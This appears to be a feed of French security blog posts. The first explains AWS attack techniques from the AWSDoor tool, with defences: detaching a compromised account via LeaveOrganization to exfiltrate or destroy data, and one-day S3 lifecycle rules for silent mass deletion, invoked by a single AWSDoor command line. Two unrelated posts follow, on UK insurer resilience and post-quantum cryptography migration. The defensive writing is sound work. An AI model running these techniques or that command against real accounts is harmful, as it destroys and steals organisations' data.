AWS Organizations est un service qui permet de gérer et de gouverner de manière centralisée plusieurs comptes AWS à partir d’un point unique. Au sommet de la hiérarchie se trouve le service Organization, comprenant un compte de gestion (appelé compte payeur / maître / compte de gestion) et un ou plusieurs comptes membres. Ces comptes peuvent être regroupés en unités organisationnelles, ce qui facilite l’application de politiques ou la gestion des sauvegardes à grande échelle.

Chaque compte AWS au sein d’une organisation reste isolé en termes de ressources et d’identité, mais l’organisation peut appliquer des politiques telles que les Service Control Policies (SCP) à l’ensemble des comptes, imposant ainsi des restrictions spécifiques à tous les comptes, de la même manière qu’un GPO le fait dans un domaine Windows. Cette structure est particulièrement utile pour séparer les données et les charges de travail par équipe, environnement ou unité métier, tout en maintenant une gouvernance centralisée.

AWS permet également d’inviter ou de rattacher un compte autonome existant à une organisation. Ce processus peut être initié depuis le compte de gestion et nécessite que le compte invité accepte la demande. De même, des comptes peuvent être détachés et déplacés vers une autre organisation, bien que cette action soit soumise à certaines restrictions. Par exemple, certains services ou fonctionnalités AWS peuvent se comporter différemment lorsqu’un compte fait partie d’une organisation, notamment en matière de facturation consolidée et d’application des politiques. Cette fonctionnalité peut être utile lors de fusions, de restructurations ou pour la gestion du cycle de vie des comptes, mais elle ouvre également un vecteur d’attaque potentiel si elle n’est pas étroitement surveillée.

Suppression de données

La suppression de toutes les données d’un compte AWS n’est que rarement instantanée. Si certaines ressources comme les rôles IAM ou les groupes de sécurité peuvent être supprimées rapidement, d’autres, comme de grands buckets S3, des snapshots EBS ou des instances RDS, nécessitent plus de temps en raison de leur taille ou de la nature de l’infrastructure sous-jacente.

Pour contourner cette limitation, un attaquant ayant compromis le compte de gestion (pour impacter l’ensemble des comptes) ou simplement un compte spécifique peut exploiter AWS Organizations en détachant le compte ciblé et en le déplaçant vers une organisation qu’il contrôle. Cette opération s’effectue via la fonctionnalité Leave Organization (Quitter l’organisation).

Contrairement à la suppression de données, quitter une organisation est une action immédiate. Une fois le compte sorti de l’organisation AWS de l’entreprise, il est trop tard : l’action ne peut pas être annulée. Sans droits AdminAccess sur le compte autonome, il ne sera pas possible de le rattacher facilement à l’organisation, offrant ainsi à l’attaquant une large fenêtre pour supprimer méthodiquement toutes les ressources qui y sont attachées.

Exfiltration de données avant suppression

Bien que la commande LeaveOrganization soit une opération destructrice, elle peut également être utilisée pour exfiltrer des données avant leur suppression. Au lieu d’effacer toutes les ressources d’un compte AWS compromis, un attaquant peut choisir de détacher le compte de l’organisation, de conserver toute l’infrastructure intacte et d’exfiltrer lentement des données sensibles.

Par exemple, une entreprise héberge une application eShop sur AWS. L’attaquant, ayant compromis le compte AWS, utilise l’action LeaveOrganization pour reprendre le contrôle de la ressource eShop. Cette action retire le compte du contrôle centralisé, supprimant ainsi toute Service Control Policy, toute journalisation centralisée et tout mécanisme de gouvernance précédemment appliqué par l’organisation, sans pour autant impacter sa disponibilité.

Avec le contrôle total de ce compte désormais autonome, l’attaquant peut agir sans supervision. L’eShop continue de fonctionner normalement, servant les clients et traitant les commandes, mais en arrière-plan, l’attaquant dispose d’un accès illimité à toutes les ressources associées. Il peut lire les buckets S3, interroger la base de données clients, extraire des données de paiement et exfiltrer discrètement les informations bancaires ainsi que les données personnelles de chaque utilisateur, sans interrompre le service ni déclencher d’alertes opérationnelles.

Du point de vue de l’entreprise, une fois que le compte a quitté l’AWS Organization, l’équipe de sécurité perd toute visibilité et autorité administrative sur celui-ci. Elle ne peut plus arrêter facilement les ressources impactées directement depuis son propre compte AWS.

Sans accès administrateur au compte désormais isolé, l’entreprise n’a aucun moyen de désactiver les services, de suspendre la facturation ou de mettre fin à l’infrastructure compromise. Cela donne à l’attaquant une liberté opérationnelle totale, tandis que l’organisation se retrouve aveugle et incapable de réagir autrement qu’en sollicitant l’assistance AWS.

Privilèges requis

Pour exécuter l’action LeaveOrganization et détacher un compte AWS de son organisation, l’attaquant doit disposer de privilèges élevés au sein du compte ciblé. Plus précisément, les conditions et autorisations IAM suivantes sont requises :

• Accès au niveau du compte : l’attaquant doit avoir un accès direct au compte membre qu’il souhaite détacher. Cela signifie qu’il doit déjà être authentifié dans ce compte AWS spécifique, soit via des identifiants volés, des jetons de session, ou en exploitant des rôles ou politiques IAM vulnérables.
• Permission organizations:LeaveOrganization : il s’agit de l’autorisation IAM clé nécessaire pour invoquer l’appel API LeaveOrganization. Elle doit être explicitement accordée dans les permissions effectives de l’attaquant. Cette action n’est valide que lorsqu’elle est exécutée depuis le compte membre, et non depuis le compte de gestion.
• Accès à la facturation : bien que non strictement requis pour quitter une organisation, un attaquant ayant accès à la facturation et aux paramètres du compte (via les actions aws-portal:*, account:* ou billing:*) peut renforcer sa position, mettre à jour les informations de contact ou verrouiller les utilisateurs légitimes après le détachement. De plus, la plupart des comptes créés au sein d’une organisation le sont sans informations de paiement (car elles sont héritées du compte payeur). Cependant, pour qu’un compte puisse être détaché et devenir autonome, ces informations doivent être renseignées.

Défense and détection

Prévention des appels non autorisés à leaveorganization

Le contrôle le plus efficace est l’utilisation des Service Control Policies (SCP). Les SCP définissent les permissions maximales disponibles pour les comptes au sein d’une AWS Organization et peuvent refuser explicitement l’action organizations:LeaveOrganization, même si un utilisateur ou un rôle IAM local dispose de cette permission.

L’opération LeaveOrganization est exécutée depuis le compte membre lui-même, et non par le compte de gestion. Cela signifie qu’un attaquant n’a pas besoin de compromettre entièrement l’organisation AWS pour détacher un compte.

La SCP, définie au niveau de l’organisation, peut empêcher tout utilisateur des comptes de quitter l’organisation. Dans ce cas, l’attaquant doit d’abord compromettre l’ensemble de l’organisation AWS avant de pouvoir mener l’attaque.

La politique suivante empêchera tout usage abusif de LeaveOrganization :

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]

}

Cette SCP doit être attachée directement à la racine de l’AWS Organization afin de garantir qu’elle s’applique à tous les comptes membres. Elle garantit qu’aucun compte ne puisse quitter unilatéralement l’organisation, même en cas de compromission.

Détection et Monitoring

Même avec des SCP en place, la surveillance des tentatives de LeaveOrganization est essentielle pour une défense en profondeur. En effet, même si l’action LeaveOrganization échoue en raison de la SCP, disposer d’une surveillance sur l’événement LeaveOrganization peut aider à détecter qu’une attaque est en cours dans l’environnement AWS.

Par exemple, une alarme CloudWatch pour déclencher des alertes lorsque l’événement LeaveOrganization ou DisablePolicyType se produit.

Destruction de bucket S3

Politique standard de suppression S3

Amazon S3 est l’un des services de stockage les plus utilisés et les plus fiables de l’écosystème AWS. Les organisations s’appuient sur lui pour stocker aussi bien des journaux et des fichiers que des données métier critiques et des sauvegardes. La destruction de données S3 peut avoir un impact bien plus important que la perte de quelques ressources de calcul, ce qui en fait une cible de grande valeur pour les attaquants.

Si le téléversement et le stockage de données dans S3 sont simples, la suppression de volumes importants de données est volontairement coûteuse en ressources et chronophage. Lorsqu’un bucket S3 est supprimé ou vidé, AWS effectue une suppression récursive et séquentielle de chaque objet, ce qui peut prendre des heures, voire des jours, dans de grands environnements.

De plus, AWS applique une cohérence finale (eventual consistency) sur les suppressions d’objets : même après une requête de suppression, les objets peuvent persister temporairement. Ces choix de conception offrent aux défenseurs une fenêtre temporelle cruciale pour détecter et contrer les tentatives de suppression avant qu’une perte de données irréversible ne survienne.

Politique de cycle de vie

Les politiques de cycle de vie Amazon S3 offrent un mécanisme automatisé pour gérer le cycle de vie du stockage des objets dans un bucket. Elles permettent de définir des règles qui transfèrent les objets vers différentes classes de stockage ou les font expirer (supprimer) après une période définie, selon des critères tels que l’âge de l’objet, un préfixe ou des balises. Cette automatisation aide les organisations à optimiser les coûts de stockage et à appliquer des politiques de conservation des données sans intervention manuelle.

Cependant, les politiques de cycle de vie fonctionnent différemment des processus manuels et contournent les protections standard conçues pour ralentir les suppressions massives. Un attaquant ayant obtenu des privilèges élevés dans un compte AWS peut créer ou modifier une politique de cycle de vie afin de fixer l’expiration des objets à la durée minimale autorisée (1 jour). Une fois appliquée, cette politique est rétroactive : tous les objets existants dans le bucket seront marqués pour expiration et programmés pour suppression, et tous les nouveaux objets créés expireront peu après leur création.

Contrairement aux suppressions manuelles, les expirations via une politique de cycle de vie sont gérées en interne par AWS à grande échelle et s’exécutent beaucoup plus rapidement. Cela peut permettre une suppression massive, rapide et furtive du contenu d’un bucket, sans générer le volume d’appels API ou le bruit opérationnel typique des suppressions récursives manuelles. Comme les modifications de politiques de cycle de vie peuvent ne pas déclencher d’alertes immédiates ou évidentes, un tel abus représente un risque important de destruction de données non détectée dans les environnements AWS.

Étant donné que les politiques de cycle de vie sont appliquées quotidiennement, le défenseur dispose de moins d’une journée pour détecter la modification de la politique, retirer le marquage de suppression et révoquer l’accès de l’attaquant.

AWSDoor

Cette technique est implémentée par AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Détection

La détection des suppressions furtives d’objets via les politiques de cycle de vie S3 peut facilement être manquée, car la suppression d’objets par expiration de cycle de vie ne génère pas d’événements DeleteObject standards dans CloudTrail, contrairement aux suppressions manuelles.

À la place, AWS gère en interne le processus de suppression de manière asynchrone, sans attribuer ces suppressions à un utilisateur ou rôle spécifique. Par conséquent, de nombreuses solutions de surveillance de sécurité ne reconnaissent pas cette action comme malveillante, alors qu’elle vise à impacter la disponibilité des données. Le seul indicateur fiable d’une telle opération est l’événement API PutBucketLifecycleConfiguration, qui journalise la création ou la mise à jour d’une règle de cycle de vie définissant un nouveau paramètre d’expiration (Expiration).

Pour détecter un abus potentiel, il convient de configurer une règle CloudWatch afin de surveiller les événements PutBucketLifecycleConfiguration et d’inspecter automatiquement la nouvelle configuration de politique. Si la politique inclut une action d’expiration fixée à la durée minimale autorisée (1 jour) ou s’applique largement à tous les objets, cela doit être considéré comme un changement à haut risque.

Dans les environnements sensibles, de tels changements de configuration devraient déclencher des alertes immédiates, une remédiation automatique et nécessiter une validation manuelle. Comme cette méthode contourne la traçabilité habituelle des suppressions au niveau objet, une détection précoce au niveau de la configuration est essentielle pour éviter une perte de données silencieuse et à grande échelle : l’équipe de défense ne disposera que d’une journée pour réagir.

Conclusion

CSPM

L’article a montré comment les configurations IAM peuvent être exploitées de manière furtive pour maintenir un accès à long terme dans des environnements AWS. Des techniques telles que l’injection de clés d’accès (AccessKey injection), l’ajout de portes dérobées dans les politiques de confiance (trust policy backdooring) et l’utilisation de politiques NotAction permettent aux attaquants de persister sans déployer de logiciel malveillant ni déclencher d’alertes.

Une solution de Cloud Security Posture Management (CSPM) joue un rôle clé dans la prévention de ces abus. En surveillant en continu les configurations IAM, en détectant les politiques trop permissives et en identifiant les écarts par rapport aux référentiels de conformité, un CSPM peut mettre rapidement en évidence des changements suspects. Par exemple, il peut signaler la création de nouvelles clés d’accès pour des utilisateurs qui utilisent habituellement le SSO, ou détecter l’établissement de relations de confiance avec des comptes externes. Ces capacités aident à empêcher qu’une persistance basée sur IAM ne s’installe durablement.

EDR

Au-delà d’IAM, les attaquants peuvent exploiter directement les ressources AWS, telles que les fonctions Lambda et les instances EC2, pour maintenir un accès. L’article a détaillé comment des Lambda layers compromises, des rôles sur‑privilégiés et des tunnels inversés basés sur SSM peuvent être utilisés pour persister sans modifier directement IAM.

Un Cloud EDR complète un CSPM en se concentrant sur le comportement à l’exécution et le contexte d’exécution. Il peut détecter des exécutions Lambda inhabituelles, des expositions inattendues via API Gateway, ou des instances EC2 initiant des tunnels sortants. En corrélant ces comportements avec le contexte d’identité et les changements récents de configuration, un EDR Cloud peut mettre en lumière des techniques de persistance qui passeraient autrement inaperçues. Cette visibilité comportementale est essentielle pour détecter en temps réel la persistance basée sur les ressources.

Backup et journalisation

Enfin, l’article a exploré comment des attaquants peuvent altérer la visibilité et la capacité de récupération en ciblant les mécanismes de journalisation et de sauvegarde. La désactivation de CloudTrail, la modification des sélecteurs d’événements, le déploiement de politiques de cycle de vie pour une suppression silencieuse dans S3 ou le détachement de comptes d’une AWS Organization sont autant de techniques qui réduisent la supervision et permettent un compromis ou une destruction à long terme.

Là encore, un CSPM et un EDR Cloud offrent des défenses complémentaires. Un CSPM peut détecter des erreurs de configuration dans les pipelines de journalisation, des modifications non autorisées de politiques de cycle de vie ou des tentatives de quitter l’organisation. De son côté, un EDR Cloud peut repérer l’absence de télémétrie attendue, des baisses soudaines du volume de journaux ou des appels API destructeurs. Ensemble, ils garantissent que les capacités de visibilité et de récupération restent intactes, même en cas d’attaque active.

Cet article AWSDoor : Persistance sur AWS est apparu en premier sur RiskInsight.

Ces dernières années, les régulateurs ont régulièrement incité les assureurs à adopter des stratégies holistiques allant bien au-delà des approches traditionnelles de relance après un sinistre — en intégrant la résilience au cœur des opérations commerciales et tout au long du cycle de vie du développement des logiciels.

Ce document vise à offrir une perspective globale sur la résilience, en réunissant la continuité opérationnelle, la cybersécurité et la gestion des risques liés aux tiers. Il peut servir de guide stratégique pour les dirigeants (CxO), en expliquant comment identifier le Minimum Viable de l’Entreprise (EMV), en fournissant des analyses de marché sur la tolérance aux perturbations à l’échelle du secteur, et en anticipant l’évolution du cadre réglementaire et de la résilience cyber jusqu’en 2030.

Cadre du Minimum Viable de l’Entreprise (EMV)

La politique sur la résilience opérationnelle de la FCA (PS21/3) oblige les assureurs à identifier leurs Services d’Activité Importants (SAI) et à développer des stratégies pour les maintenir lors de perturbations sévères.
Bien que le concept d’EMV ne soit pas explicitement mentionné dans la PS21/3 (politique de la FCA sur le renforcement de la résilience opérationnelle, publiée en mars 2021), les organisations sont invitées à définir leur « empreinte opérationnelle minimale », ce qui s’aligne étroitement avec les principes de l’EMV.

Pensez l’EMV comme la bouée de sauvetage de votre organisation : ces services, processus, technologies et équipes indispensables qui maintiennent la confiance et la stabilité financière, même lorsque tout le reste doit être mis en pause.

La plupart des organisations maintiennent une légère EMV  — elle représente seulement 15 à 17 % de l’activité totale — soutenue par des listes solides d’applications critiques, d’infrastructures essentielles, de données clés et de relations tierces vitales.
Ce n’est pas qu’une simple question de conformité : il s’agit d’identifier une base modulaire et évolutive permettant à l’entreprise d’isoler les problèmes, de se rétablir rapidement et de continuer à opérer en période de risques systémiques.

Sur la base de notre vaste expérience auprès des principaux acteurs de l’assurance au Royaume-Uni et à l’international, voici une liste indicative des services essentiels généralement identifiés :

Analyse approfondie des tendances en matière de tolérance à l’impact, avec un examen détaillé des standards observés et des justifications stratégiques pour les services essentiels identifiés dans le cadre de l’EMV.

Remarque : Les plages de tolérance présentées ci-dessous sont fournies à titre indicatif, sur la base de notre étude de marché et de notre expérience en conseil réglementaire. Les tolérances réelles peuvent varier en fonction de plusieurs facteurs, tels que les juridictions concernées, le profil de risque de l’organisation et sa capacité financière.

Tendances réglementaires : perspectives 2025–2030

Alors que le secteur de l’assurance doit faire face à des exigences opérationnelles en constante évolution, il est tout aussi essentiel d’anticiper les mutations du paysage réglementaire qui marqueront les années à venir.
Les perspectives suivantes mettent en lumière les principales tendances réglementaires prévues pour la période 2025 à 2030, en exposant les exigences clés en matière de conformité ainsi que les évolutions attendues qui façonneront les cadres de gestion des risques et de reporting du secteur de l’assurance au Royaume-Uni.

Il est important de reconnaître qu’à mesure que la réglementation dans ce domaine continue d’évoluer, les régulateurs britanniques tels que la FCA et la PRA tendent à s’aligner davantage sur les grands cadres européens, notamment le Règlement européen sur la résilience opérationnelle numérique (DORA) et la directive sur la sécurité des réseaux et de l’information (NIS).

Cet alignement traduit une prise de conscience de l’interconnexion des marchés financiers et des services critiques au-delà des frontières, ainsi que de la nécessité d’appliquer des normes cohérentes et renforcées en matière de résilience opérationnelle et cyber.

La FCA et la PRA ont publié des consultations et des orientations indiquant leur intention d’intégrer les principes fondamentaux de DORA et de NIS — tels que la gestion renforcée des risques liés aux tiers, des obligations harmonisées de déclaration d’incidents, et des tests de résilience à l’échelle du secteur — dans le régime réglementaire britannique.
Cette convergence garantit que les institutions financières, les assureurs et les prestataires de services du Royaume-Uni soient préparés non seulement aux exigences réglementaires nationales, mais également aux impératifs d’un marché global et numériquement intégré.

Liste de vérification de la résilience pour les conseils d’administration

À la lumière de ces évolutions réglementaires à venir et des réformes stratégiques en cours, il est essentiel que les conseils d’administration évaluent et renforcent leurs cadres de résilience organisationnelle.
La liste suivante est conçue pour aider les équipes dirigeantes à évaluer de manière proactive leur niveau de préparation, à garantir une gouvernance solide et à intégrer la résilience au cœur des processus décisionnels.

• Couverture EMV : Votre Entreprise Minimum Viable (EMV) est-elle clairement définie, cartographiée et testée sous contrainte pour garantir la continuité des services essentiels ?
• Étalonnage de la tolérance à l’impact : Avez-vous validé des tolérances réalistes à travers des analyses de scénarios, et les avez-vous comparées à celles d’institutions similaires et aux exigences réglementaires ?
• Visibilité des risques liés aux tiers : Disposez-vous d’une visibilité en temps réel sur vos dépendances critiques externes, avec des plans de secours et des clauses de résilience dans les contrats ?
• Fonctions de résilience intégrées : Vos équipes en résilience opérationnelle, cybersécurité, gestion des tiers, gestion des risques et de communication au conseil d’administration sont-elles alignées sur le plan stratégique et cohérentes ?
• Préparation à la gestion des incidents : Disposez-vous de mécanismes robustes pour la déclaration multicanal des incidents (interne et externe), ainsi que d’un dialogue actif avec les régulateurs, soutenu par des plans d’action éprouvés ?
• Alignement de l’assurance cyber : Votre couverture d’assurance cyber est-elle adaptée à votre profil de risque spécifique, et testée face à des scénarios de menaces en évolution portant sur des actifs critiques ?
• Responsabilisation du conseil : Les membres du conseil d’administration ont-ils été formés à la surveillance de la résilience et de la cybersécurité, et reçoivent-ils des rapports réguliers des fonctions de gestion des risques intégrées pour garantir une gouvernance éclairée ?
• Culture de la résilience : Une culture de la résilience est-elle ancrée dans toute l’organisation — du comité exécutif aux équipes opérationnelles — pour encourager la prise de responsabilité proactive et l’amélioration continue face aux risques ?
• Veille réglementaire et anticipation : Suivons-nous de manière proactive les évolutions réglementaires locales et internationales (par ex. DORA de l’UE, FCA SS1/21, règles cyber de la SEC), tout en assurant la sensibilisation et la préparation au niveau du conseil d’administration ?

Le secteur britannique de l’assurance et de la réassurance est bien capitalisé, en pleine transformation numérique, et stratégiquement positionné pour la croissance.
Mais la résilience — qu’elle soit opérationnelle, cyber, ou liée aux tiers — reste le facteur déterminant du succès à long terme.

En harmonisant soigneusement leurs stratégies de résilience avec les normes internationales les plus avancées, les organisations peuvent non seulement renforcer leur position sur le marché, mais aussi gagner la confiance durable des parties prenantes.
Cette approche proactive permet de rester conforme dans un environnement réglementaire en constante évolution, tout en consolidant la capacité à atténuer les risques transfrontaliers et à réagir de manière décisive face à des perturbations imprévues.

Dans un monde où les menaces numériques et les vulnérabilités des chaînes d’approvisionnement dépassent les frontières géographiques, développer une résilience reconnue à l’échelle internationale n’est pas seulement une obligation réglementaire, mais un pilier fondamental d’une stratégie d’entreprise durable et tournée vers l’avenir.

En conclusion, les dirigeants doivent intégrer des cadres de résilience robustes et intégrés pour garantir une croissance et une stabilité à long terme. En cultivant une culture de gestion proactive des risques et de veille réglementaire, les institutions peuvent se positionner à l’avant-garde de l’excellence opérationnelle — prêtes non seulement à faire face aux défis, mais à les transformer en opportunités de succès durable.

Cet article Résilience par design : Les impératifs stratégiques pour les assureurs généraux et de réassurance au Royaume-Uni (2025 – 2030) est apparu en premier sur RiskInsight.

L’effervescence croissante au sujet de l’avènement des ordinateurs quantiques est justifiée pour un sujet qui ne relève plus de la science-fiction, mais qui implique une menace d’un nouveau genre.

En effet, selon les prévisions de nombreux experts tels que le Global Risk Institute, les ordinateurs quantiques devraient prochainement être capables de résoudre les problèmes mathématiques qui sous-tendent les standards cryptographiques actuels – ce qui, en conséquence, rendrait obsolètes les systèmes classiques protégeant nos communications, nos finances et nos infrastructures critiques.

Pour les entreprises, l’urgence n’est plus de se demander si cette menace deviendra réalité, mais quand. Comment anticiper les impacts opérationnels et structurels de ce bouleversement technologique tout en répondant aux recommandations croissantes des régulations à ce sujet ? Quels outils adopter pour garantir la confidentialité et l’intégrité des données dans un futur proche ? Le défi est de taille, mais des solutions sont à l’étude comme la cryptographie post-quantique (PQC), déjà massivement plébiscitée par la communauté internationale. 

La menace quantique

Aujourd’hui, la sécurité des systèmes d’information repose principalement sur la cryptographie symétrique, asymétrique (ou à clé publique) et les fonctions de hachage. Ces catégories sont représentées par des algorithmes largement utilisés aujourd’hui, en particulier AES, RSA, ECC, ainsi que SHA pour les fonctions de hachage. Adoptés massivement par la communauté mondiale et intégrés nativement dans de nombreux dispositifs modernes, ces algorithmes ont fait leurs preuves depuis des décennies pour assurer la confidentialité, l’authenticité et l’intégrité des échanges de données.

Les problèmes mathématiques sur lesquels sont basés ces standards présentent un niveau de complexité de calcul suffisant pour assurer l’absence de capacité de brute-force même avec les meilleurs supercalculateurs actuels.

L’ordinateur quantique vient rebattre ces cartes.

Ces machines reposent sur des principes physiques fondamentalement différents des ordinateurs classiques actuels. Grâce aux phénomènes de superposition et d’intrication, un processeur quantique peut traiter simultanément différents états physiques. Ce que l’on décrit souvent comme du « parallélisme quantique » ne correspond pas à un simple calcul parallèle classique (où plusieurs cœurs exécutent des tâches identiques), mais à la capacité d’explorer simultanément de multiples chemins d’exécution. Pour certains algorithmes, cette approche permet de réduire considérablement l’espace de recherche et d’accélérer le traitement.

Une question essentielle se pose alors : existe-t-il déjà des algorithmes capables d’exploiter ces propriétés quantiques, et ainsi de venir à bout des standards de chiffrement actuels ?

En 1994, P. Shor, suivi de L. Grover en 1996, introduisent des algorithmes intégrant des processus de calcul quantique pour résoudre certains problèmes mathématiques complexes. Le premier permet de factoriser de grands nombres de manière exponentiellement plus rapide qu’un algorithme classique, tandis que le second optimise la recherche d’un élément dans des ensembles non ordonnés. Si les caractéristiques  des ordinateurs classiques rendaient jusque-là leur mise en œuvre impraticable, l’émergence des ordinateurs quantiques changerait radicalement la donne, rendant ces algorithmes exploitables. 

En effet, le meilleur supercalculateur mettrait 1.02 x 10¹⁸ ans (un trillion d’années) pour casser AES-128 par force brute et 10¹⁰ ans (10 milliards d’années) pour RSA-2048 avec les meilleures méthodes actuelles. En comparaison, un ordinateur quantique exécutant l’algorithme de Grover pourrait briser AES-128 en 600 ans, tandis que l’algorithme de Shor viendrait à bout de RSA-2048 en seulement 8 heures avec une machine de 20 millions de qubits.

Face à cette menace, AES et la cryptographie symétrique, ainsi que SHA-256 et les fonctions de hachages restent viables en doublant la taille des clés utilisées, mais la cryptographie asymétrique doit être repensée. Dans cette optique, la cryptographie post-quantique s’impose comme la solution la plus prometteuse. 

Qu’est-ce que la cryptographie post-quantique ?

Selon l’ANSSI, « la cryptographie post-quantique (PQC) est un ensemble d’algorithmes cryptographiques classiques comprenant les établissements de clés et les signatures numériques, et assurant une sécurité conjecturée vis-à-vis de la menace quantique en plus de leur sécurité classique ».

Cela désigne donc l’ensemble des nouveaux algorithmes de chiffrement asymétriques capables de garantir la sécurité à la fois face aux attaques classiques, et face aux nouvelles attaques quantiques. La différence avec ceux que nous utilisons aujourd’hui réside essentiellement dans les problèmes mathématiques sous-jacents aux algorithmes, choisis pour rester complexes à résoudre, même pour un ordinateur quantique.

Pourquoi cette solution est-elle considérée comme la plus prometteuse ?

La PQC n’est pas la seule réponse envisagée face à la menace quantique, mais elle est largement considérée comme étant la solution la plus viable selon la communauté internationale. Plusieurs facteurs expliquent cet intérêt, parmi lesquels on retrouve :

• Une continuité avec les systèmes actuels, facilitant son adoption et son intégration progressive dans les infrastructures classiques.
• Une maturité avancée, avec des standards déjà établis et soutenus par les principales autorités en cybersécurité.

Une continuité avec les systèmes actuels

Comment cette cryptographie de nature classique permet-elle de protéger les données chiffrées face aux attaques quantiques ?

La PQC n’implique pas un changement de paradigme dans notre approche de sécurisation des infrastructures. Comme évoqué plus tôt, la PQC s’inscrit dans la famille de la cryptographie asymétrique et conserve donc le même fonctionnement et objectif que les algorithmes à clé publique actuels. Sa résistance face aux attaques quantiques est assurée par la nature des problèmes mathématiques sous-jacents, différents de ceux utilisés par la cryptographie asymétrique classique.  Cette différence structurelle permet également une intégration plus fluide de cette cryptographie dans les infrastructures numériques actuelles, assurant ainsi une transition progressive vers un avenir où la PQC supplanterait totalement et efficacement les standards de chiffrement modernes.

Une maturité avancée

Le deuxième atout majeur de la PQC est sa maturité par rapport aux autres options envisagées. En effet, cette année a été marquée la publication des standards de PQC par le National Institute of Standards and Technology (NIST) américain en août 2024.

Ce processus a débuté en 2017 avec 69 candidats initiaux, dont 4 ont été retenus afin de devenir les nouveaux standards de PQC. Aucune des autres solutions évoquées pour contrer la menace à venir, parmi lesquelles se trouve la cryptographie quantique (basée sur l’usage des propriétés quantiques en opposition à la PQC, dont les implémentations sont possibles sur des ordinateurs classiques), n’ont été l’objet d’un processus de standardisation.

De surcroît, les organismes de cybersécurité nationaux tels que l’ANSSI (France), la BSI (Allemagne), la NLNCSA (Pays-Bas), la SFA (Suède), le NCSC (UK), la NSA (USA) etc. s’accordent tous à dire que la PQC est la meilleure façon de se prémunir contre la menace quantique, et que la priorité des entreprises doit être la migration vers des systèmes de PQC.

Quand et comment mettre en place cette technologie ?

Les prédictions des organismes de recherche sur l’avènement  de la menace quantique restent encore assez disparates, mais s’accordent néanmoins à annoncer que des ordinateurs quantiques capables d’exécuter des algorithmes responsables de la future désuétude des standards de cryptographie actuelle, appelés en anglais Cryptographically Relevant Quantum Computer (CRQC) rendront obsolètes RSA-2048 notamment, d’ici les 15 prochaines années. En effet, il est difficile de prédire avec exactitude quand l’ordinateur quantique sera prêt et atteindra des performances suffisantes pour des cas d’usage concrets, mais les croisements entre les recommandations d’organismes comme la la NSA et les prédictions d’experts sur le sujet nous permettent d’estimer l’émergence des premiers CRQC entre 2033 et 2037. 

Harvest now, decrypt later

Nous ne disposons pas pour autant de 10 ans devant nous pour nous armer face à cette menace. Les données en transit actuellement restent exposées aux attaques de type « harvest now, decrypt later ». Ce sont des attaques reposant sur l’interception et le stockage à long terme de données chiffrées, dans l’attente des percées technologiques en matière de décryptage qui les rendraient lisibles à l’avenir.

Les données ciblées par ce type d’attaques sont principalement des données en transit, car c’est lors de leur transport que des protocoles comme TLS utilisent des paires de clés asymétriques. C’est à ce moment que la donnée est « vulnérable au quantique » et donc intéressante à intercepter puis stocker afin de la déchiffrer ultérieurement. Les données au repos sont au contraire généralement chiffrées à l’aide d’algorithmes symétriques, et requiert d’être exfiltrées pour être capturées, elles ne sont donc pas la cible de ces attaques.

Le risque principal de ces attaques demeure la violation de la confidentialité à long terme de données. Selon les secteurs, notamment financier ou industriel, les données peuvent rester sensibles sur de longues périodes et par conséquent l’accès à ces informations peut entraîner des conséquences multiples graves. 

Il est raisonnable de considérer que des attaquants pourraient actuellement récupérer une quantité considérable de données chiffrées afin de les décrypter ultérieurement. Dès lors, il est impératif d’amorcer une migration vers des systèmes cryptographiques résistants aux algorithmes quantiques dès aujourd’hui. 

Recommandations des organismes au sujet de la préparation

La CISA, la NSA et le NIST américain pour ne citer qu’eux, exhortent les entreprises à se préparer dès maintenant en établissant une feuille de route quantique, pilotée par une équipe projet dédiée, dont le but serait de planifier et superviser la migration de l’organisation vers la PQC.

Le cadrage du projet devra être axé sur ces 3 volets principaux :

1. Inventaire cryptographique : l’objectif est de comprendre l’exposition de l’organisation aux mécanismes cryptographiques vulnérables. Cela passe par l’identification des technologies utilisées au sein des systèmes, des protocoles réseaux, des applications, et des bibliothèques de programmation.

2. Analyse de risques : cet axe vise à prioriser les actifs et processus à sécuriser en premier. Il s’agit d’évaluer la criticité des données protégées, mais aussi d’anticiper leur durée de protection nécessaire. Cette analyse repose sur l’inventaire cryptographique fait en amont et permet de cibler les efforts là où l’impact d’une attaque quantique serait le plus critique.

3. Responsabilité des fournisseurs : la transition vers la cryptographie post-quantique implique également un travail étroit avec les partenaires technologiques. Les entreprises doivent s’assurer de la crypto-agilité des solutions qu’elles utilisent : les produits actuels pourront-ils être mis à jour vers des systèmes résistants à la menace quantique ou devront-ils être remplacés pour éviter l’obsolescence ?

La stratégie de migration que nous préconisons chez Wavestone reprend les grandes étapes évoquées par la CISA, la NSA et le NIST, et les approfondit en les adaptant aux réalités opérationnelles de chaque entreprise :

1. Phase stratégique :
   • Compréhension et sensibilisation : Premièrement, il s’agit de former et d’informer l’ensemble des acteurs (direction, équipes métiers, équipes techniques) sur l’impact de la menace quantique, les enjeux liés à la cryptographie post-quantique, ainsi que sur les grandes orientations réglementaires.
   • Évaluation des risques et inventaire initial : Cartographie des usages cryptographiques (protocoles, bibliothèques, applications, etc.) et identification des données sensibles devant rester confidentielles sur une longue période. C’est également à ce stade que l’on évalue la maturité de l’entreprise et qu’on priorise les chantiers les plus critiques.
   • Cadrage du programme : Sur la base des risques identifiés, la feuille de route globale (objectifs, budget, organisation) est définie. Une équipe dédiée – ou “centre d’excellence” – est créée pour piloter la transition, coordonner les différents chantiers et définir les indicateurs de succès.
2. Quick wins
   • Avant d’entrer dans une phase de transformation plus lourde, nous préconisons de lancer rapidement des initiatives à faible investissement, par exemple inclure des clauses post-quantiques dans les contrats (fournisseurs, partenaires). L’objectif est d’obtenir des retours concrets, de sensibiliser davantage les parties prenantes et de créer une dynamique positive autour du projet.
3. Programme de transition
   • Test d’un premier cas d’usage : Sélection d’un cas d’usage représentatif pour déployer, en conditions réelles, les premiers algorithmes ou mécanismes de cryptographie post-quantiques.
   • Inventaire détaillé (seconde itération) : Il faut ensuite affiner la cartographie des composants cryptographiques (PKI, gestion de clés, protocoles réseaux, librairies de chiffrement, etc.) afin de planifier précisément la migration.
   • Modernisation de la “confiance numérique” : Il s’agit d’actualiser les infrastructures (PKI, gestion de certificats, politiques de rotation de clés…) et de mettre en place des procédures permettant d’accueillir les nouveaux algorithmes.
